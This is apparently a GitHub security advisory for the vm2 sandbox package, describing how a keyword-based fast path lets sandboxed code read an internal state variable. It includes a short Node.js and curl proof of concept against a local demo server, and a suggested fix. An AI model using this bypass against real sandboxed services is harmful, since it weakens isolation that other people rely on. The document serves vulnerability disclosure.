Skip to content

vm2's Transformer Fast-Path Bypass Exposes Internal State Variable

Moderate severity GitHub Reviewed Published May 1, 2026 in patriksimek/vm2 • Updated May 14, 2026

Package

npm vm2 (npm)

Affected versions

<= 3.10.5

Patched versions

3.11.0

Description

Summary

vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).

Details

In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

When the fast-path is taken:

  1. INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL never runs
  2. with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation
  3. The internal state object exposes: handleException(e), wrapWith(x), import(what)

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
  Object.keys(x).join(",")
`);
console.log(result); // "wrapWith,handleException,import"

// Control test — blocked when catch keyword is present
try {
  vm.run(`
    try {
      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
    } catch(e) { e.message }
  `);
} catch(e) {
  console.log(e.message); // "Use of internal vm2 state variable"
}

HTTP demonstration:

# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'
# Result: "wrapWith,handleException,import"

# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }"}'
# Result: {"errors":["Use of internal vm2 state variable"]}

Suggested fix:

// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
    return {__proto__: null, code, hasAsync: false};
}

Impact

  • Security Control Bypass: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.
  • Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes.
  • Scope: All applications using vm2. No special configuration required.

References

@patriksimek patriksimek published to patriksimek/vm2 May 1, 2026
Published to the GitHub Advisory Database May 7, 2026
Reviewed May 7, 2026
Published by the National Vulnerability Database May 13, 2026
Last updated May 14, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. Learn more on MITRE.

CVE ID

CVE-2026-44003

GHSA ID

GHSA-wp5r-2gw5-m7q7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.